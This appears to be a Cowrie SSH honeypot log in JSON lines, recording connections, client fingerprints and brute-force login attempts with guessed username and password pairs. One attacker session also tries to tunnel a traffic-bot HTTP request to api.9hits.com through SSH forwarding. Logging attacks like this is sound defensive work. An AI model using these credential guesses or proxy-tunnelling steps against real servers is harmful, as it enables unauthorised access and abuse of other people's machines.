{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:49.047212Z","src_ip":"45.153.34.195","session":"8433b7c6999d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:49.211583Z","src_ip":"91.92.40.36","session":"e62ce7f5c220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador","message":"login attempt [administrador/administrador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:49.382777Z","src_ip":"45.153.34.195","session":"8433b7c6999d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:50.139043Z","src_ip":"91.92.40.36","session":"e62ce7f5c220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:50.473248Z","src_ip":"45.153.34.195","session":"8433b7c6999d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47230,"dst_ip":"10.17.0.5","dst_port":22,"session":"e73cf24f0128","protocol":"ssh","message":"New connection: 45.153.34.195:47230 (10.17.0.5:22) [session: e73cf24f0128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:51.903227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:51.906805Z","src_ip":"45.153.34.195","session":"e73cf24f0128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:51.987714Z","src_ip":"45.153.34.195","session":"e73cf24f0128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1123","message":"login attempt [root/1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:52.240262Z","src_ip":"45.153.34.195","session":"e73cf24f0128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":61206,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd16403a6f35","protocol":"ssh","message":"New connection: 173.208.192.194:61206 (10.17.0.5:22) [session: dd16403a6f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:52.635026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:52.640683Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:52.734022Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:53.323946Z","src_ip":"45.153.34.195","session":"e73cf24f0128","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:53.774735Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:53.934326Z","src_ip":"91.92.40.36","session":"e62ce7f5c220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15686,"dst_ip":"10.17.0.5","dst_port":22,"session":"c650ff67ed13","protocol":"ssh","message":"New connection: 45.153.34.195:15686 (10.17.0.5:22) [session: c650ff67ed13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:54.802743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:54.810333Z","src_ip":"45.153.34.195","session":"c650ff67ed13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:54.888592Z","src_ip":"45.153.34.195","session":"c650ff67ed13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40152,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceadf7410f66","protocol":"ssh","message":"New connection: 91.92.40.36:40152 (10.17.0.5:22) [session: ceadf7410f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:55.186493Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEqwe","message":"login attempt [root/123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:55.207047Z","src_ip":"45.153.34.195","session":"c650ff67ed13","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:55.776433Z","src_ip":"91.92.40.36","session":"ceadf7410f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:55.781178Z","src_ip":"91.92.40.36","session":"ceadf7410f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:56.241671Z","src_ip":"91.92.40.36","session":"e62ce7f5c220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:56.333380Z","src_ip":"45.153.34.195","session":"c650ff67ed13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15688,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ab24b4753a3","protocol":"ssh","message":"New connection: 45.153.34.195:15688 (10.17.0.5:22) [session: 8ab24b4753a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:57.536613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:57.546282Z","src_ip":"45.153.34.195","session":"8ab24b4753a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:57.786943Z","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:57.792115Z","src_ip":"45.153.34.195","session":"8ab24b4753a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:57.822392Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 8.1.0; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1180\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=IW1WcU9AaD59IVc%2FRi9NVA%3D%3DMC60yZSSxpxamZD8CeKy64wfAbj5nVosbyap8zP%2FPsHSB7cg2GGl%2BpKqKvgudHQIPkZdYycGkViFNaeCGyHnadjmiFc%2BBpNEw2rG7dZ4HbJlvvcJZDDdcJbsY1ldXJo%2Bi2v2t2W3pymmuu0Vtvqt0ImvF19e9pQboTK6feRWv1lxI3x3W4ATCQ0i3nAYNoNJaSz7BBNDBe7UmHQzg%2FYoPmpT2UjmgYAnkPVHVHIRArzLqTTUWfsNLfa7vnOdo8orR332MM%2F447Nzi2U21407bSjjIxtswlcNKE5qOp0i2c9FDb3lxFH7N8dv5ZfV5u85yTvcEE%2BK%2FyD8RXR8Cc3LLFVm4bVUGtDknx6e31Lk6F7%2B%2FbS%2FpzGTE5Og5ugf66jtKi75qz7r%2F9%2FdSfsO0UMfu13jOqvW6XjLTk%2FQB3dp322iuLqZsKNr%2F4vnG4hKZjHFmoRNt0gNU1AFj6bf6MX%2FVoC1o4NbEChHbk6dJqlK4Akq8PXQMeBZNgLiwOTDGma%2FwQlr9aNrkJyYvloWEuzN7UtHc%2FYFugmnyMpvgOfylpJLOtrXpokGZNhkCjULzaqSJL6ELK%2B3pdMSFLVb557bo0231%2F7AEGZW2zXv9Hr4FOmAPoE1FTpG1UT%2FNGqHLSfjKQflalvw1%2BDao0y7D8LUvcLuNlHyUuV6biA8B6cLKjT8%2BOqKhsuPF6vNbmlgyO7AtShjkhG8OizS7JGTZYmN%2BhZLiV7iOO48Jp76SjSSDWh96Sr%2Fnbkvvgk0tNebEni8rEx8OVfX5s1BlTyeY52%2BqlLnPWNwUyy0ieAJ2EGzNtKYpokPzVZC82kRIkuTH%2FyOU7y7EsWTIZZZEWTBqRInltGkwOAvtGmVlER9SXvpQLb9aKFxmZ2YT3sQazhgHMW1HZGWmTynmIlm1xcQqhA7PTLH8hUBnzNsy81LU63ZxoZAbP1j7P0PHTXBtOIyQMzpNrHMkPBIusCrM58zPlZ5KJVhaMwtIY7cRg%2FBwQdl8dhJE8sxna7OuFOQe3VCY5vr0VFZbFBQ1Vwr74xUKRbIjzZXEdPJzKbMiirqSfbeBS%2FxBdsuqVp%2B4T6k2XX8VCGW'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 8.1.0; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1180\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=IW1WcU9AaD59IVc%2FRi9NVA%3D%3DMC60yZSSxpxamZD8CeKy64wfAbj5nVosbyap8zP%2FPsHSB7cg2GGl%2BpKqKvgudHQIPkZdYycGkViFNaeCGyHnadjmiFc%2BBpNEw2rG7dZ4HbJlvvcJZDDdcJbsY1ldXJo%2Bi2v2t2W3pymmuu0Vtvqt0ImvF19e9pQboTK6feRWv1lxI3x3W4ATCQ0i3nAYNoNJaSz7BBNDBe7UmHQzg%2FYoPmpT2UjmgYAnkPVHVHIRArzLqTTUWfsNLfa7vnOdo8orR332MM%2F447Nzi2U21407bSjjIxtswlcNKE5qOp0i2c9FDb3lxFH7N8dv5ZfV5u85yTvcEE%2BK%2FyD8RXR8Cc3LLFVm4bVUGtDknx6e31Lk6F7%2B%2FbS%2FpzGTE5Og5ugf66jtKi75qz7r%2F9%2FdSfsO0UMfu13jOqvW6XjLTk%2FQB3dp322iuLqZsKNr%2F4vnG4hKZjHFmoRNt0gNU1AFj6bf6MX%2FVoC1o4NbEChHbk6dJqlK4Akq8PXQMeBZNgLiwOTDGma%2FwQlr9aNrkJyYvloWEuzN7UtHc%2FYFugmnyMpvgOfylpJLOtrXpokGZNhkCjULzaqSJL6ELK%2B3pdMSFLVb557bo0231%2F7AEGZW2zXv9Hr4FOmAPoE1FTpG1UT%2FNGqHLSfjKQflalvw1%2BDao0y7D8LUvcLuNlHyUuV6biA8B6cLKjT8%2BOqKhsuPF6vNbmlgyO7AtShjkhG8OizS7JGTZYmN%2BhZLiV7iOO48Jp76SjSSDWh96Sr%2Fnbkvvgk0tNebEni8rEx8OVfX5s1BlTyeY52%2BqlLnPWNwUyy0ieAJ2EGzNtKYpokPzVZC82kRIkuTH%2FyOU7y7EsWTIZZZEWTBqRInltGkwOAvtGmVlER9SXvpQLb9aKFxmZ2YT3sQazhgHMW1HZGWmTynmIlm1xcQqhA7PTLH8hUBnzNsy81LU63ZxoZAbP1j7P0PHTXBtOIyQMzpNrHMkPBIusCrM58zPlZ5KJVhaMwtIY7cRg%2FBwQdl8dhJE8sxna7OuFOQe3VCY5vr0VFZbFBQ1Vwr74xUKRbIjzZXEdPJzKbMiirqSfbeBS%2FxBdsuqVp%2B4T6k2XX8VCGW'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:57.826951Z","src_ip":"173.208.192.194","session":"dd16403a6f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:58.168403Z","src_ip":"91.92.40.36","session":"ceadf7410f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:58.278493Z","src_ip":"45.153.34.195","session":"8ab24b4753a3","protocol":"ssh"}
